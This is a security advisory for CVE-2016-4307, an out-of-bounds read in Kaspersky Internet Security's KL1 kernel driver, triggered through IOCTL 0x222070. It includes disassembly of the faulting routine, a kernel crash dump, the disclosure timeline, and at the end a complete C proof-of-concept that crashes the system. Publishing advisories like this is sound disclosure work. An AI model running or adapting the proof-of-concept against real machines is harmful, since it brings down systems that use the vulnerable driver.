Kaspersky Internet Security KL1 Driver Signal Handler Denial of Service(CVE-2016-4307)

2017-10-13T00:00:00
ID SSV:96675
Type seebug
Reporter Root
Modified 2017-10-13T00:00:00

Description

Summary

A denial of service vulnerability exists in the IOCTL handling functionality of Kaspersky Internet Security KL1 driver. A specially crafted IOCTL signal can cause an access violation in KL1 kernel driver resulting in local system denial of service. An attacker can run a program from user mode to trigger this vulnerability.

Tested Versions

Kaspersky Internet Security 16.0.0, KLIF driver version 10.0.0.1532

Product URLs

http://kaspersky.com

CVSSv3 Score

5.5 - CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Details

This vulnerability can be triggered by sending a specially crafted IOCTL signal (0x222070) to KLBG device. The faulting code is located in the KL1 hidden driver: .text:00018D1A TutajCrash proc near ; CODE XREF: sub_18DA8+20p .text:00018D1A ; sub_1F5B0+4Ap ... .text:00018D1A .text:00018D1A arg_0 = dword ptr 8 .text:00018D1A arg_4 = dword ptr 0Ch .text:00018D1A arg_8 = dword ptr 10h .text:00018D1A .text:00018D1A mov edi, edi .text:00018D1C push ebp .text:00018D1D mov ebp, esp .text:00018D1F push esi .text:00018D20 mov esi, [ebp+arg_4] .text:00018D23 xor eax, eax .text:00018D25 mov ecx, esi ; ecx=7fffffff .text:00018D27 test esi, esi .text:00018D29 jz short loc_18D3C .text:00018D2B mov edx, [ebp+arg_0] .text:00018D2E .text:00018D2E loc_18D2E: ; CODE XREF: TutajCrash+1Cj .text:00018D2E cmp [edx], ax ; out of bound read - access violation .text:00018D31 jz short loc_18D38 .text:00018D33 inc edx .text:00018D34 inc edx .text:00018D35 dec esi .text:00018D36 jnz short loc_18D2E .text:00018D38 .text:00018D38 loc_18D38: ; CODE XREF: TutajCrash+17j .text:00018D38 test esi, esi .text:00018D3A jnz short loc_18D41 .text:00018D3C .text:00018D3C loc_18D3C: ; CODE XREF: TutajCrash+Fj .text:00018D3C mov eax, 0C000000Dh .text:00018D41 .text:00018D41 loc_18D41: ; CODE XREF: TutajCrash+20j .text:00018D41 mov edx, [ebp+arg_8] .text:00018D44 test edx, edx .text:00018D46 jz short loc_18D55 .text:00018D48 test eax, eax .text:00018D4A jl short loc_18D52 .text:00018D4C sub ecx, esi .text:00018D4E mov [edx], ecx .text:00018D50 jmp short loc_18D55 .text:00018D52 ; --------------------------------------------------------------------------- .text:00018D52 .text:00018D52 loc_18D52: ; CODE XREF: TutajCrash+30j .text:00018D52 and dword ptr [edx], 0 .text:00018D55 .text:00018D55 loc_18D55: ; CODE XREF: TutajCrash+2Cj .text:00018D55 ; TutajCrash+36j .text:00018D55 pop esi .text:00018D56 pop ebp .text:00018D57 retn 0Ch .text:00018D57 TutajCrash endp

The instruction at 0x00018D2E is executed in a loop. The purpose of this loop is to calculate the input string length by scanning for a NULL character. However if the NULL character is not found in the supplied input string this loop will continue reading memory that exceeds the bounds of supplied buffer which in most of cases will cause a access violation and a system crash.

Crash Information

``` kd> !analyze -v


  • *
  • Bugcheck Analysis *
  • *

PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except, it must be protected by a Probe. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: b9000000, memory referenced. Arg2: 00000000, value 0 = read operation, 1 = write operation. Arg3: 8742bd2e, If non-zero, the instruction address which referenced the bad memory address. Arg4: 00000002, (reserved)

Debugging Details:

READ_ADDRESS: b9000000

FAULTING_IP: kl1+21d2e 8742bd2e 663902 cmp word ptr [edx],ax

MM_INTERNAL_CODE: 2

IMAGE_NAME: kl1.sys

DEBUG_FLR_IMAGE_TIMESTAMP: 558314e0

MODULE_NAME: kl1

FAULTING_MODULE: 8740a000 kl1

DEFAULT_BUCKET_ID: WIN7_DRIVER_FAULT

BUGCHECK_STR: 0x50

PROCESS_NAME: poc_kaspersky1

CURRENT_IRQL: 2

ANALYSIS_VERSION: 6.3.9600.17298 (debuggers(dbg).141024-1500) amd64fre

TRAP_FRAME: 8205f8d8 -- (.trap 0xffffffff8205f8d8) ErrCode = 00000000 eax=00000000 ebx=93b00df8 ecx=7fffffff edx=b9000000 esi=7effffff edi=b7000000 eip=8742bd2e esp=8205f94c ebp=8205f950 iopl=0 nv up ei pl nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010216 kl1+0x21d2e: 8742bd2e 663902 cmp word ptr [edx],ax ds:0023:b9000000=???? Resetting default scope

LAST_CONTROL_TRANSFER: from 8292c083 to 828c8110

STACK_TEXT: 8205f424 8292c083 00000003 4c2a6b47 00000065 nt!RtlpBreakWithStatusInstruction 8205f474 8292cb81 00000003 00003ff8 b9000000 nt!KiBugCheckDebugBreak+0x1c 8205f838 828db41b 00000050 b9000000 00000000 nt!KeBugCheck2+0x68b 8205f8c0 8288e3d8 00000000 b9000000 00000000 nt!MmAccessFault+0x106 8205f8c0 8742bd2e 00000000 b9000000 00000000 nt!KiTrap0E+0xdc WARNING: Stack unwind information not available. Following frames may be wrong. 8205f950 87432616 b7000000 7fffffff 8205f96c kl1+0x21d2e 8205f970 8742a7f5 00000014 8742e534 b7000000 kl1+0x28616 8205f9bc 8742aca8 93b00d88 93b00df8 93b00df8 kl1+0x207f5 8205f9d8 8740cb57 84b48678 00222070 855f05c0 kl1+0x20ca8 8205fa04 82884593 84b48678 93b00d88 93b00d88 kl1+0x2b57 8205fa1c 82a7899f 855f05c0 93b00d88 93b00df8 nt!IofCallDriver+0x63 8205fa3c 82a7bb71 84b48678 855f05c0 00000000 nt!IopSynchronousServiceTail+0x1f8 8205fad8 82ac23f4 84b48678 93b00d88 00000000 nt!IopXxxControlFile+0x6aa 8205fb0c 8c441204 00000038 00000000 00000000 nt!NtDeviceIoControlFile+0x2a 8205fb98 8c51805a 00000038 00000000 00000000 klif+0x20204 8205fbd0 8c519206 8c440dca 8205fc0c 00000028 klhk+0x105a 8205fbec 8c51801f 85fff8f8 8205fc0c 8205fc00 klhk+0x2206 8205fc04 8288b1ea 00000038 00000000 00000000 klhk+0x101f 8205fc04 777870b4 00000038 00000000 00000000 nt!KiFastCallEntry+0x12a 001af808 77785864 7593989d 00000038 00000000 ntdll!KiFastSystemCallRet 001af80c 7593989d 00000038 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc 001af86c 75d5a671 00000038 00222070 02000000 KERNELBASE!DeviceIoControl+0xf6 001af898 011312f2 00000038 00222070 02000000 kernel32!DeviceIoControlImplementation+0x80 001afe1c 011323df 001afe30 75d63c45 7ffdc000 poc_kaspersky1+0x12f2 001afe24 75d63c45 7ffdc000 001afe70 777a37f5 poc_kaspersky1+0x23df 001afe30 777a37f5 7ffdc000 5e909af3 00000000 kernel32!BaseThreadInitThunk+0xe 001afe70 777a37c8 011323d0 7ffdc000 00000000 ntdll!__RtlUserThreadStart+0x70 001afe88 00000000 011323d0 7ffdc000 00000000 ntdll!_RtlUserThreadStart+0x1b

STACK_COMMAND: kb

FOLLOWUP_IP: kl1+21d2e 8742bd2e 663902 cmp word ptr [edx],ax

SYMBOL_STACK_INDEX: 5

SYMBOL_NAME: kl1+21d2e

FOLLOWUP_NAME: MachineOwner

IMAGE_VERSION: 6.8.0.54

FAILURE_BUCKET_ID: 0x50_kl1+21d2e

BUCKET_ID: 0x50_kl1+21d2e

ANALYSIS_SOURCE: KM

FAILURE_ID_HASH_STRING: km:0x50_kl1+21d2e

FAILURE_ID_HASH: {528725d7-9a29-13f1-15aa-ffc775352f2e}

Followup: MachineOwner

```

Timeline

  • 2016-04-29 - Vendor Notification
  • 2016-08-26 – Patch Released
  • 2016-08-26 – Public Disclosure
                                        
                                            
                                                #include <stdio.h>
#include <windows.h>

int main(void)
{
    HANDLE hDevice;
    char dev[255];
    DWORD   out;
    char    outBuff[1024];


    memset(outBuff, 'B', sizeof(outBuff));
    _snprintf(dev, sizeof(dev), "\\\\.\\KLBG");
    printf("Trying to open device: %s \r\n", dev);

    hDevice = CreateFile(dev, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Error: unable to open device, error = 0x%08x\r\n", GetLastError());
        return 0;
    }

    printf("Device opened, handle = 0x%08x \r\n", hDevice);
    #define M_SIZE      0x1ffffff // 1024*1024*10
    BYTE *mem = (BYTE*)VirtualAlloc(0, M_SIZE, MEM_COMMIT, PAGE_READWRITE);
    printf("mem_ptr = 0x%08x \r\n", mem);
    if (!mem) exit(0);

    memset(mem, 0xCC, M_SIZE);

    BOOL st = DeviceIoControl(hDevice, 0x222070, (LPVOID)mem, M_SIZE,
        (LPVOID)&outBuff,
        sizeof(outBuff), &out,
        NULL);


    return 0;
}